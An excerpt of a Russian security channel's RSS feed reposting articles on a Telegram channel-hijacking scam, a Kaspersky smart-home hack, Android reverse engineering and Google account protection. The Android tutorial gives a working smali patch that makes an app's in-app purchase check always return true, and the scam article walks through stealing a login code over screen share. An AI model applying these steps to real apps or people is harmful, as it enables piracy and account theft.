  <p>В подобных схемах в сообществе администраторов каналов фигурировали сайты einsider.ru, sellerpay.pro и okpay.com.ru. Собственно, ни один из них на текущий момент не доступен.</p>
  <p>Последний сервис OkPay как раз участвовал в обмане администратора канала «Slang Bang! / Слэнг Бэнг!». 27 сентября 2018 года админ не смог вывести деньги за продажу канала и понял, что сервис мошеннический. Сумма сделки составляла 1,9 миллиона рублей.</p>
  <h2>Что за новый способ угона?</h2>
  <p>Мошенники придумали способ угона, в основе которого лежит человеческая наивность и доверчивость. На первый взгляд схема не вызывает подозрений. Для начала мошенник, как обычно, пишет администратору канала сообщение с предложением купить канал. Чтобы откинуть сомнения и усыпить бдительность администратора, задает ряд уточняющих вопросов. Нормальных вопросов и при совершенно честной сделке.</p>
  <ul>
    <li>Какие условия передачи канала?</li>
    <li>Какие сервисы для наполнения контента использует администратор?</li>
    <li>Через какого гаранта будет проводиться сделка?</li>
    <li>Какие источники монетизации канала использует администратор?</li>
  </ul>
  <p>Затем мошенник предлагает созвониться в скайпе, чтобы убедиться, что продавец указан в списке администраторов продаваемого канала.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/thief.jpg#26157956" width="484" />
    <figcaption>Мошенник просит созвониться в Skype<br /></figcaption>
  </figure>
  <p>Во время разговора злоумышленник просит показать текущий профиль администратора, чтобы убедиться, что он реальный, а не мошеннический. В этот момент сам злоумышленник видит номер телефона администратора в профиле.</p>
  <p>Мошенник пытается авторизоваться со своего устройства по номеру админа. Реальному администратору приходит пятизначный код от Telegram для авторизации. И этот код злоумышленник видит во время текущей трансляции в скайпе и, следовательно, авторизовывается.</p>
  <p>После этого вопрос только в скорости. Либо реальный администратор успеет понять, что происходит, закроет новый сеанс и выключит трансляцию в Skype, либо мошенник успеет выполнить три оставшихся действия для угона канала:</p>
  <ol>
    <li>Удалить всех администраторов из канала.</li>
    <li>Добавить свой мошеннический аккаунт в список администраторов.</li>
    <li>Перейти по адресу my.telegram.org/auth и удалить аккаунт реального администратора.</li>
  </ol>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/sessions.jpg#26157956" width="455" />
    <figcaption>Активные сеансы аккаунта в Telegram<br /></figcaption>
  </figure>
  <p>Если реальный администратор не успеет среагировать, то в результате этих действий потеряет как свой канал, так и свой аккаунт.</p>
  <h3>Кто пострадал?</h3>
  <p>Число пострадавших каналов понемногу возрастает, а мошенники регулярно меняют аккаунты. На текущий момент в список угнанных каналов входят: futbolruonline (80 тысяч подписчиков), Rasimlar57 (63 тысячи), gifki_on (133 тысячи), topgif_1 (38 тысяч), rasmchalaa (63 тысячи).</p>
  <p>В целом у таких каналов есть несколько дальнейших путей развития.</p>
  <ol>
    <li>Обманутый администратор платит мошеннику выкуп и получает канал обратно.</li>
    <li>Мошенник перепродает канал или самостоятельно перестраивает его тематику под казино или букмекерские конторы.</li>
    <li>Канал забрасывается на время для дальнейшей перепродажи.</li>
  </ol>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/thema.jpg#26157956" width="803" />
  </figure>
  <h2>Как обезопасить себя?</h2>
  <p>В Telegram поняли, что необходимо оградить своих пользователей от злоумышленников в мессенджере. В связи с этим еще в мае ввели метку SCAM для соответствующих аккаунтов.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/scam.jpg#26157956" width="469" />
    <figcaption>Метка SCAM в Telegram<br /></figcaption>
  </figure>
  <p>Метка выдается по жалобам пользователей через аккаунт @notoscam после решения модераторов Telegram. Так, например, заблокировали фейковый аккаунт @Pr_BiIrot после сообщения от администратора.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/antiscam.jpg#26157956" width="668" />
    <figcaption>Ответ поддержки Antiscam<br /></figcaption>
  </figure>
  <p>Если же речь идет о том, чтобы обезопасить себя от нового способа угона каналов, то основной совет (который, кстати, работает и для других сервисов) — включить двухэтапную аутентификацию.</p>
  <ol>
    <li>Открой настройки Telegram.</li>
    <li>Выбери пункт «Конфиденциальность».</li>
    <li>Нажми «Настроить двухфакторную аутентификацию».</li>
    <li>Укажи пароль, подсказку и email для восстановления.</li>
  </ol>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/pwd.jpg#26157956" width="393" />
    <figcaption>Создание пароля в Telegram<br /></figcaption>
  </figure>
  <p>В таком случае попытка угнать канал сорвалась бы после ввода пятизначного пароля из сообщения от Telegram. Потому что следующим шагом станет ввод облачного пароля, который знаешь только ты.</p>
  <p>Таким образом нескольким администраторам, которые попались на удочку мошенников, удалось спасти себя от потери канала. Но, увы, постоянно появляются и те, кто потерял свой канал.</p>
  <p>Источник: xakep.ru</p>
  <h3>by @Cyberlifes</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/rk-WYOGZB</guid><link>https://teletype.in/@cyberlifes/rk-WYOGZB?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/rk-WYOGZB?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Взлом умного дома</title><pubDate>Tue, 09 Jul 2019 20:28:41 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/6b/6b47da56-6052-4baf-93d0-b805a8854c57.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/27/27696bfe-d013-48f5-9357-1c7abdd19925.png"></img>Какие риски мы берем на себя, устанавливая систему «умный дом»? Ту, что рулит лампочками и чайником с приложения на смартфоне, внутри локальной сети и удаленно. Если на умную систему завязана безопасность и управление замками (как в случае Amazon Key) — то понятно какие. Если нет, то теоретически можно представить опасность программного вывода из строя какой-нибудь кофеварки с последующим пожаром. Но лучше не фантазировать, а знать наверняка. ]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/27/27696bfe-d013-48f5-9357-1c7abdd19925.png" width="1280" />
  </figure>
  <p></p>
  <p>Какие риски мы берем на себя, устанавливая систему «умный дом»? Ту, что рулит лампочками и чайником с приложения на смартфоне, внутри локальной сети и удаленно. Если на умную систему завязана безопасность и управление замками (как в случае Amazon Key) — то понятно какие. Если нет, то теоретически можно представить опасность программного вывода из строя какой-нибудь кофеварки с последующим пожаром. Но лучше не фантазировать, а знать наверняка. </p>
  <p> Специалисты команды ICS CERT из «Лаборатории Касперского» решили провести натурный тест на умном доме одного из сотрудников компании (<a href="https://threatpost.ru/kaspersky-pokes-holes-in-fibaro-smart-home/33332/" target="_blank">новость</a>, пост в <a href="https://www.kaspersky.ru/blog/hacking-things/23017/" target="_blank">блоге</a>, техническая <a href="https://securelist.ru/fibaro-smart-home/94294/" target="_blank">статья</a>). Взлом произошел успешно: кофеварка не пострадала, но контроль над системой получить удалось, пусть и с парой (вполне реалистичных) допущений в ходе эксперимента. Одним из неприятных последствий этой атаки стала утечка персональных данных: координаты дома и, что самое печальное, геолокация смартфона. Впрочем, эксперимент закончился на позитивной ноте: производитель системы умного дома успешно закрыл уязвимости.</p>
  <p></p>
  <p> В технической статье довольно много места отведено относительно скучным, но важным моментам: что НЕ удалось взломать, и как проходил анализ системы умного дома на наличие потенциальных уязвимостей. Перед началом эксперимента исследователи уже знали производителя системы. Им оказалась компания <a href="https://www.fibaro.com/en/" target="_blank">Fibaro</a>, выпускающая ассортимент собственных устройств для современного умного дома, а также обеспечивающая интеграцию с устройствами сторонних производителей. Более того, владелец дал важную подсказку — постоянный IP для входа в админку. Кстати, сама Fibaro не рекомендует открывать доступ к контроллеру по IP — только через облачную систему. В данном эксперименте эта сознательно оставленная владельцем лазейка сыграла свою роль. </p>
  <p></p>
  <p> Теоретически такую систему можно атаковать по трем основным направлениям: попытаться так или иначе взломать управляющее устройство, поискать уязвимости в облачной части сервиса либо атаковать сами подключенные к контроллеру IoT-устройства. В последнем случае требуется находиться в непосредственной близости от них, поэтому первые два варианта выглядят перспективнее. </p>
  <p> Следующий шаг — анализ прошивки устройства и WebAPI. Обычно на таком анализе все заканчивается, и выходит новость в стиле «в устройстве обнаружен вшитый пароль». Но в случае Fibaro очевидных прорех в безопасности не было. Зато была получена полезная информация о реализации части управляющей логики на PHP. Без авторизации контроллер отдает только серийный номер устройства, и для взлома железки эта информация бесполезна. Зато, как выяснилось, она позволяет взломать облачную часть сервиса. </p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/i6/dv/ss/i6dvssb2y9cspliysjqo19496vq.png" width="816" />
  </figure>
  <p> Доступ к облаку, в свою очередь, позволяет без авторизации получать резервные копии базы данных SQLite, содержащие все настройки устройства, и загружать свои. Теоретически обход авторизации давал возможность (до исправления уязвимости) загрузить резервные копии всех пользователей облачной системы. Анализ реальной базы атакуемого устройства обеспечил доступ к приватной информации, включая координаты дома и смартфона, на котором установлено управляющее приложение. Уже это — серьезная проблема, так как (с некоторыми ограничениями) она позволяет определить, когда владельца системы нет дома. </p>
  <p> Помимо этого, в базе была полная информация о подключенных IoT-устройствах, а также пароль для доступа к настройкам, но захешированный с добавлением «соли». Анализ прошивки показал, что «соль» не рандомная, а прочно зашита в устройство. Теоретически очень простой пароль может быть взломан, но в данном случае не вышло. База SQLite также содержала открытые пароли для подключения к другим устройствам внутри сети: если бы эти пароли совпадали с основным, контроллер также можно было бы легко взломать. </p>
  <p> Но опять не получилось: владелец системы оказался знаком с базовыми рекомендациями по безопасности и не использовал один и тот же пароль для разных устройств. Поэтому пришлось применить социальную инженерию. Уязвимость в облачной системе, позволяющая проводить ряд действий без авторизации, зная только серийный номер устройства (который отдается «бесплатно», если есть доступ к админке извне), сделала возможным следующий сценарий. В «облако» была загружена подготовленная резервная копия устройства, в которую был внедрен вредоносный скрипт. Сообщение о необходимости «обновить» устройство через штатные возможности облачной системы было отправлено владельцу (по электронной почте и SMS). </p>
  <p> Так как владелец системы знал об эксперименте, он сразу понял, что это не настоящий патч. Но в целом это вполне реальный сценарий, когда пользователю через привычный канал связи приходит правдоподобное сообщение, поэтому резервная копия была установлена. Вредоносный код был выполнен с системными правами благодаря недосмотру в PHP-коде, вызывающему выполнение bash-скрипта:</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/n5/ys/qn/n5ysqnjncbnpjoez_nnnbcttb-w.png" width="561" />
  </figure>
  <p> Здесь параметр, задающийся пользователем (в нормальных условиях даже администратор системы не имеет прав суперпользователя на устройстве), попадает в аргумент для командной строки. Недостаточная проверка аргументов позволила выполнить с правами «рута» произвольный код и наконец-то получить полный контроль над устройством. Параллельно была найдена, но не использована возможность проведения SQL-инъекции:</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/y8/9j/r3/y89jr3_wg5c6ti0iu45w0kovi_e.png" width="1196" />
  </figure>
  <p> Взламывать кофеварку в реальном доме исследователи не планировали, поэтому в качестве «привета» поменяли мелодию будильника. Упомянутые уязвимости и в облачной системе, и в коде контроллера были закрыты. По понятным причинам конкретные методы обхода защиты в технической статье не раскрываются — во избежание использования их настоящими злоумышленниками на устройствах, которые еще не обновились. Зато в этом эксперименте хорошо показано то, что обычно остается за рамками новостных заголовков: множество путей исследования защиты устройства, большинство из которых оканчивается ничем. В реальном опыте и производитель устройства, и его владелец смогли избежать простейших ошибок безопасности, таких как вшитые и повторно используемые пароли. Тем не менее, было выявлено достаточное количество проблем, способное привести как минимум к утечке приватных данных, а в худшем случае — к обходу систем безопасности.</p>
  <p></p>
  <p>Источник: habr.com</p>
  <h2>By t.me/Cyberlifes</h2>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/rkTpM_VRE</guid><link>https://teletype.in/@cyberlifes/rkTpM_VRE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/rkTpM_VRE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Как реверсить приложения для Android</title><pubDate>Tue, 04 Jun 2019 22:37:57 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/d4/d4eacbf6-0b3b-4f0b-a5cf-ccd963c4a3c0.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/70/70bdd5a7-9a13-40ff-8219-8167dd348c26.png"></img> Обратная разработка позволяет не только разобраться в существующих приложениях, но и модифицировать их. В этом смысле приложения на Android — клад для начинающего хакера и настоящий аттракцион для любителя. Сегодня мы разберем несколько приложений, чтобы потренироваться в реверс-инжиниринге и узнать о подлинных возможностях твоего смартфона.Какое приложение мы будем препарировать?]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/70/70bdd5a7-9a13-40ff-8219-8167dd348c26.png" width="1280" />
  </figure>
  <p> Обратная разработка позволяет не только разобраться в существующих приложениях, но и модифицировать их. В этом смысле приложения на Android — клад для начинающего хакера и настоящий аттракцион для любителя. Сегодня мы разберем несколько приложений, чтобы потренироваться в реверс-инжиниринге и узнать о подлинных возможностях твоего смартфона.Какое приложение мы будем препарировать?</p>
  <p> Я выбрал для своих целей VK Admin — программу для управления сообществами «ВКонтакте» со смартфона. В нем не предусмотрена темная тема, поэтому мы с тобой попробуем эту тему добавить.</p>
  <p></p>
  <h2><strong>Собираем и разбираем</strong></h2>
  <p>Сначала извлечем все ресурсы приложения, используя утилиту apktool — она распаковывает и запаковывает файлы пакетов APK, которые хранятся в сжатом, бинарном виде, и дизассемблирует программный код, заключенный в них.Чтобы получить установочный пакет, можно воспользоваться Android Debugging Bridge — системой для отладки программ на устройстве. В *nix-подобных системах ADB ставится стандартно, с помощью пакетного менеджера, а в Windows — идет в составе Android Studio или Android SDK Platform Tools.В первую очередь установим приложение из Google Play Store на смартфон, подключим его к компьютеру с помощью USB, затем воспользуемся ADB для переноса пакета приложения на компьютер и извлечем его содержимое.</p>
  <p></p>
  <figure class="m_original">
    <img src="https://teletype.in/files/9b/9ba88af0-ffc4-4949-a67e-5ca79b3d84e7.png" />
  </figure>
  <p>Для создания подписи в первый раз нужно воспользоваться утилитой keytool (входит в <a href="https://www.oracle.com/technetwork/java/javase/overview/index.html" target="_blank">Java Development Kit</a>):</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/6d/6d6a17d5-c50d-4aca-901d-aa32ec663196.png" />
  </figure>
  <h2>Меняем цветовые схемы</h2>
  <p>Цвета в приложении можно настроить несколькими способами:</p>
  <ul>
    <li>использовать встроенные цвета, к примеру <code>@android:color/white</code>;</li>
    <li>создать палитру собственных цветов в файле <code>colors.xml</code>, которые затем используются в виде <code>@color/text_primary</code>;</li>
    <li>задать цвет шестнадцатеричным кодом, главное — не забывай, что цвета в приложении записаны в формате <code>#AARRGGBB</code> — прозрачность на первом месте;</li>
    <li>воспользоваться параметрами <code>setTextColor</code>,<code>setBackgroundColor</code> внутри кода Java или Kotlin.</li>
  </ul>
  <p>Все эти способы жизнеспособны и постоянно используются.</p>
  <h3>colors.xml</h3>
  <p>Цветовая палитра приложения содержится в файле <code>com.vk.admin/res/values/colors.xml</code>. Структура файла выглядит так:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/80/807a54e4-8e63-4413-8147-590095689781.png" />
  </figure>
  <p>Каждый цвет, который в дальнейшем используется в статичных экранах приложения, записан здесь. Наша задача — изменить цвета, самый простой способ это сделать — инвертировать. Для записи цвета в формате hex можно отнять из 255 каждый компонент: <code>R</code>, <code>G</code>и <code>B</code>, то есть <code>255 - R</code>, <code>255 - G</code>, <code>255 - B</code>. Параметры <code>@android:color/white</code> и <code>@android:color/black</code> можно изменить вручную.</p>
  <h3>styles.xml</h3>
  <p>В файле <code>com.vk.admin/res/values/styles.xml</code> заданы цвета, но только некоторые. Этот файл используется самими разработчиками, когда они хотят сделать несколько цветовых схем приложения. Если же этих схем нет, работать приходится нам с тобой.</p>
  <p>Некоторые цвета текста и фона заданы именно здесь, поэтому их нужно изменить аналогично с <code>colors.xml</code>.</p>
  <h3>Layout</h3>
  <p>В папке <code>com.vk.admin/res/</code> находятся описания экранов приложения.</p>
  <ul>
    <li><code>com.vk.admin/res/layout/</code> — универсальное хранилище экранов для всех смартфонов. Если нет каких-то специальных указаний, то будут использованы эти ресурсы;</li>
    <li><code>com.vk.admin/res/layout-v&#x60;&#x60;XX</code> (где <code>XX</code> — версия SDK смартфона, зависит от версии Android на устройстве) используются для работы с самыми передовыми элементами UI;</li>
    <li>остальные <code>com.vk.admin/res/layout-...</code> задают специфичные экраны приложения для ориентации устройства, разрешения и так далее.</li>
  </ul>
  <p>Некоторые цвета приложения, чаще всего задний фон, можно найти здесь и изменить.</p>
  <p>Но закончить мы пока не можем — есть некоторые экраны, цвет фона и текста которых задан не в файлах .xml, а прямо в исполняемом коде приложения. Туда нам и дорога.</p>
  <h2>Smali</h2>
  <p>Внутри приложений на Android используется собственный формат файлов — <code>.dex</code>, или <a href="https://source.android.com/devices/tech/dalvik/dex-format.html" target="_blank">Dalvik EXecutable</a>, и собственная виртуальная машина, чтобы эти файлы исполнять, — <a href="https://ru.wikipedia.org/wiki/Dalvik" target="_blank">Dalvik</a>.</p>
  <p>Как и с любым компилируемым языком, для <code>.dex</code> есть байт-код — smali — человекочитаемый и понятный с первого взгляда.</p>
  <p>Машина Dalvik, в отличие от <a href="https://ru.wikipedia.org/wiki/Java_Virtual_Machine" target="_blank">JVM</a>, — регистровая, а не стековая. Регистры не имеют типов и могут хранить всё: числа, строки, экземпляры классов. При этом язык smali строго типизирован.</p>
  <p>Вот небольшая последовательность инструкций, чтобы вывести содержимое регистра <code>v0</code> в лог.</p>
  <ol>
    <li> <code>const-string v1, &quot;MyTag&quot;</code> — записать в регистр <code>v1</code> строку <code>&quot;MyTag&quot;</code>. </li>
    <li> <code>invoke-static {v0}, Ljava/lang/String;-&gt;valueOf(I)Ljava/lang/String;</code> — вызвать функцию <code>String.valueOf(v0)</code>. Здесь <code>static</code> означает, что функция встроена в виртуальную машину; <code>{v0}</code> — список аргументов; <code>L</code> показывает, что сразу за ним идет название объекта, класса и так далее; <code>java</code>, <code>lang</code>, <code>String;</code> — тип строки; <code>I</code> — тип числа, Integer; а все вместе (<code>-&gt;valueOf(I)Ljava/lang/String;</code>) говорит нам о том, что вызывается функция <code>valueOf</code> от одного аргумента и возвращает она строку. </li>
    <li> <code>move-result-object v2</code> — записать результат предыдущей операции в <code>v2</code>. </li>
    <li> <code>invoke-static {v1, v2}, Landroid/util/Log;-&gt;d(Ljava/lang/String;Ljava/lang/String;)I</code> — залогировать содержимое <code>v2</code> под тегом из <code>v1</code>. </li>
  </ol>
  <p>Если не удается понять, что значит тот или иной регистр или что делает та или иная функция, используй декомпилятор smali в Java — <a href="https://github.com/skylot/jadx" target="_blank">Jadx</a>.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/06/224879/2_jadx.jpg#26132855" width="640" />
    <figcaption>Интуитивно понятный интерфейс Jadx<br /></figcaption>
  </figure>
  <p>Использовать Jadx просто — нужно лишь выбрать файл и открыть его, код будет автоматически декомпилирован и показан.</p>
  <blockquote>Рекомендую ознакомиться с <a href="https://source.android.com/devices/tech/dalvik/dalvik-bytecode.html" target="_blank">документацией по байт-коду</a> Dalvik VM.</blockquote>
  <h3></h3>
  <h2>setBackgroundColor</h2>
  <p>Для некоторых экранов приложения используется параметр <code>setBackgroundColor(I)V</code>, который устанавливает цвет фона. Часто это не статичные экраны, а динамические: с поддержкой скролла, различные списки и карточки.</p>
  <pre>invoke-virtual {v1, v0}, Landroid/webkit/WebView;-&gt;setBackgroundColor(I)V</pre>
  <p>Эта строка занимается изменением. Чтобы изменить цвет, нужно его записать в регистр, а затем передать в функцию вместо настоящего.</p>
  <pre>const v12, -0x1000000
#### Эквивалент 0xFF000000 — черного

invoke-virtual {v1, v12}, Landroid/webkit/WebView;-&gt;setBackgroundColor(I)V</pre>
  <p>Теперь пройдись по всем файлам и замени цвет.</p>
  <p>Бывают случаи на порядок проще.</p>
  <pre>const v2, -0x1
#### Здесь -0x1 == 0xFFFFFFFF — белый цвет

invoke-virtual {v1, v2}, Landroid/support/v7/widget/CardView;-&gt;setBackgroundColor(I)V</pre>
  <p>Нужно просто изменить <code>-0x1</code> на <code>-0x1000000</code>, и приложение погрузится во тьму.</p>
  <p>Стоит быть внимательным и пытаться разобраться в коде: иногда оптимизатор кода будет перемещать инструкции <code>const</code> вверх, и ты можешь их не заметить.</p>
  <h3></h3>
  <h2>setTextColor</h2>
  <p>Иногда текст, который меняется в ходе работы с приложением, может менять свой цвет. За это отвечает параметр <code>setTextColor(I)V</code>, второй аргумент которого можно подменить на нужный, в нашем случае — белый.</p>
  <pre>#### Меняем цвет
const p1, -0x1
#### на белый

invoke-virtual {v0, p1}, Landroid/widget/TextView;-&gt;setTextColor(I)V</pre>
  <p>На этом борьбу со светлым фоном и ярким экраном можно закончить. Большинство элементов экрана поменяли свой цвет на противоположный. Так ты можешь изменить любое приложение, особенно если ты любишь потыкать в телефон поздно ночью.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/06/224879/1_compare.jpg#26132855" width="900" />
    <figcaption>Результат изменений<br /></figcaption>
  </figure>
  <h2>Меняем функциональность приложения</h2>
  <p>Чтобы ощутить всю мощь smali, давай попробуем изменить какую-то часть приложения. Например, обойдем проверку на внутренние покупки.</p>
  <p>Возьмем другое приложение — <a href="https://play.google.com/store/apps/details?id=com.runar.issdetector" target="_blank">ISS Detector</a>. Оно показывает положение МКС над Землей. В нем можно купить расширения: показ комет, планет, Луны, телескопа «Хаббл».</p>
  <p>При копировании приложения на компьютер может возникнуть проблема: в составе приложения не один и не два, а целых три файла <code>apk</code>!</p>
  <p><code>$ adb shell pm path com.runar.issdetector</code><br /> package:/data/app/com.runar.issdetector-dtgy8_hlf1y-cekrg1_W-A==/base.apk<br /> package:/data/app/com.runar.issdetector-dtgy8_hlf1y-cekrg1_W-A==/split_config.en.apk<br /> package:/data/app/com.runar.issdetector-dtgy8_hlf1y-cekrg1_W-A==/split_config.xxhdpi.apk</p>
  <p>Копируем все. При переустановке приложения файлы <code>split_config.en.apk</code> и <code>split_config.xxhdpi.apk</code> потеряются, а без них приложение будет вылетать. Поэтому их нужно будет переподписать: зайти в них как в архивы ZIP, удалить папку <code>META_INF</code> и прогнать через стандартную процедуру утилиты jarsigner. Основной же файл мы будем препарировать с помощью apktool.</p>
  <p>Покупками в приложении занимается интерфейс <code>IInAppBillingService</code>. Для него прописана обертка <code>com.runar.issdetector.util</code>: IabHelper, IabResult, Purchase, Security, Inventory.</p>
  <p>В этом приложении можно не идти напролом, обманывая сервис покупок. Проще заставить приложение думать, что все уже куплено. В этом нам поможет <code>Inventory.smali</code>.</p>
  <p></p>
  <p>В особо сложных случаях такой трюк провернуть не удается, и тогда приходится подменять данные, заставляя сервис ложно сообщать о совершенных покупках. Подробнее об этом можно почитать в материале компании Securing Apps (<a href="https://www.securingapps.com/blog/AbusingAndroidInAppBilling_INS18.pdf" target="_blank">PDF</a>).</p>
  <p>Открыв файл, ты увидишь поле <code>mPurchaseMap&lt;String; Purchase&gt;</code>, которое содержит в себе все покупки: номер товара, сопоставленный с покупкой, которую совершил пользователь.</p>
  <pre>.field mPurchaseMap:Ljava/util/Map;
    .annotation system Ldalvik/annotation/Signature;
        value = {
            &quot;Ljava/util/Map&lt;&quot;,
            &quot;Ljava/lang/String;&quot;,
            &quot;Lcom/runar/issdetector/util/Purchase;&quot;,
            &quot;&gt;;&quot;
        }
    .end annotation
.end field</pre>
  <p>Далее в коде мы видим строку <code>hasPurchase(String sku) -&gt; boolean</code>, которая проверяет, совершал ли пользователь покупку. Для этого делается проверка на существование ключа <code>sku</code> в <code>mPurchaseMap</code>.</p>
  <pre>.method public hasPurchase(Ljava/lang/String;)Z
    .locals 1

    .line 45
    iget-object v0, p0, Lcom/runar/issdetector/util/Inventory;-&gt;mPurchaseMap:Ljava/util/Map;

    invoke-interface {v0, p1}, Ljava/util/Map;-&gt;containsKey(Ljava/lang/Object;)Z

    move-result p1

    return p1
.end method</pre>
  <p>А что будет, если в любом случае отдавать <code>true</code>?</p>
  <pre>.method public hasPurchase(Ljava/lang/String;)Z
    .locals 1

    const p1, 0x1

    return p1
.end method</pre>
  <p>Собираем приложение и устанавливаем его.</p>
  <p><code>$ adb install-multiplie com.runar.issdetector.apk split_config.xxhdpi.apk split_config.en.apk</code><br /> Success</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/06/224879/3_inapp.jpg#26132855" width="800" />
    <figcaption>Результат изменения кода<br /></figcaption>
  </figure>
  <p>С этого можно начать свой путь в реверс-инжиниринг. Я рассказал тебе основы, с которых начинал сам. Небольшие изменения могут улучшить твою жизнь — надеюсь, я смог тебе это показать.</p>
  <p>Источник: xakep.ru</p>
  <h3>by @CyberLifes</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/Bke0C9hp4</guid><link>https://teletype.in/@cyberlifes/Bke0C9hp4?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/Bke0C9hp4?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Что необходимо сделать, чтобы вашу учетную запись Google не украли</title><pubDate>Thu, 30 May 2019 00:07:35 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/21/21e42956-0a62-448f-9d64-92c3caa007bd.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/10/10b1a0cf-8a90-4475-8c7d-58bff0d6bb84.png"></img>Корпорация Google опубликовала исследование  «Насколько эффективна базовая гигиена учетной записи для предотвращения её кражи» о том, что может сделать владелец учетной записи, чтобы её не украли злоумышленники. Представляем вашему вниманию перевод этого исследования. Правда самый эффективный способ, который используется в самой Google, в отчет не включили. Пришлось мне самому написать об этом способе в конце.]]></description><content:encoded><![CDATA[
  <figure class="m_custom">
    <img src="https://teletype.in/files/10/10b1a0cf-8a90-4475-8c7d-58bff0d6bb84.png" width="1280" />
  </figure>
  <blockquote>Корпорация Google опубликовала <a href="https://security.googleblog.com/2019/05/new-research-how-effective-is-basic.html" target="_blank">исследование </a> «Насколько эффективна базовая гигиена учетной записи для предотвращения её кражи» о том, что может сделать владелец учетной записи, чтобы её не украли злоумышленники. Представляем вашему вниманию перевод этого исследования. Правда самый эффективный способ, который используется в самой Google, в отчет не включили. Пришлось мне самому написать об этом способе в конце.</blockquote>
  <p>Каждый день мы защищаем пользователей от сотен тысяч попыток взлома аккаунтов.</p>
  <p><a href="https://security.googleblog.com/2017/11/new-research-understanding-root-cause.html" target="_blank">Большинство атак</a> исходит от автоматических ботов с доступом к сторонним системам взлома паролей, но также присутствуют фишинговые и целевые атаки. Ранее мы рассказывали, как <a href="https://www.blog.google/technology/safety-security/five-things-you-can-do-right-now-to-stay-safer-online/" target="_blank">всего пять простых шагов</a>, таких как добавление номера телефона, могут помочь вам обезопасить себя, но теперь мы хотим доказать это на практике.</p>
  <blockquote>Фишинговая атака — попытка обмануть пользователя таким образом, чтобы он добровольно передал злоумышленнику информацию, которая будет полезна в процессе взлома. Например, путем копирования интерфейса легального приложения. Атаки с помощью автоматических ботов — массовые попытки взлома не направленные на конкретных пользователей. Обычно осуществляются с помощью общедоступного программного обеспечения и доступны для использования даже неподготовленным «взломщикам». Злоумышленники ничего не знают об особенностях конкретных пользователей — они просто запускают программу и «ловят» все плохо защищенные ученые записи вокруг. Целевые атаки — взломы конкретных учетных записей, при которых о каждой учётке и её владельце собирается дополнительная информация, возможны попытки перехвата и анализа трафика, а также применение более сложных инструментов взлома. (Примечание переводчика)</blockquote>
  <p>Мы объединились с исследователями из New York University и University of California, чтобы выяснить, насколько эффективно базовая гигиена учетных записей предотвращает их «угоны».</p>
  <p>Годовое исследование о <a href="https://ai.google/research/pubs/pub48119" target="_blank">широкомасштабных</a> и <a href="https://ai.google/research/pubs/pub48117" target="_blank">целевых атаках</a> было представлено в среду на собрании экспертов, политиков и пользователей под названием <a href="http://www2019.thewebconf.org/" target="_blank">The Web Conference</a>.</p>
  <p>Наши исследования показывают, что простое добавление номера телефона в вашу учетную запись Google может блокировать до 100% атак от автоматических ботов, 99% массовых фишинговых атак и 66% целевых атак, имевших место в ходе нашего расследования.</p>
  <h3>Автоматическая проактивная защита Google от «угона» учётной записи</h3>
  <p>Мы реализуем автоматическую проактивную защиту, чтобы лучше обезопасить всех наших пользователей от взлома аккаунта. Вот как это работает: если мы обнаружим подозрительную попытку входа (например, из нового места или устройства), мы попросим дополнительные доказательства того, что это действительно вы. Этим подтверждением может быть контроль того, что у вас есть доступ к доверенному телефону, или ответ на вопрос, на который только вы знаете правильный ответ.</p>
  <p>Если вы вошли в свой телефон или указали номер телефона в параметрах учетной записи, мы можем обеспечить такой же уровень защиты, как и с помощью двухэтапной проверки. Мы обнаружили, что код SMS, отправленный на номер телефона для восстановления, помог заблокировать 100% автоматических ботов, 96% массовых фишинговых атак и 76% целевых атак. А запросы на устройстве с требованием подтвердить операцию, являющиеся более безопасной заменой SMS, помогли предотвратить 100% автоматических ботов, 99% массовых фишинговых атак и 90% целевых атак.</p>
  <p><em>Защита, основанная как на владении определенными устройствами, так и на знании определенных фактов, помогает противостоять автоматическим ботам, а защита, основанная на владении определенными устройствами — для предотвращения фишинга и даже целевых атак. </em></p>
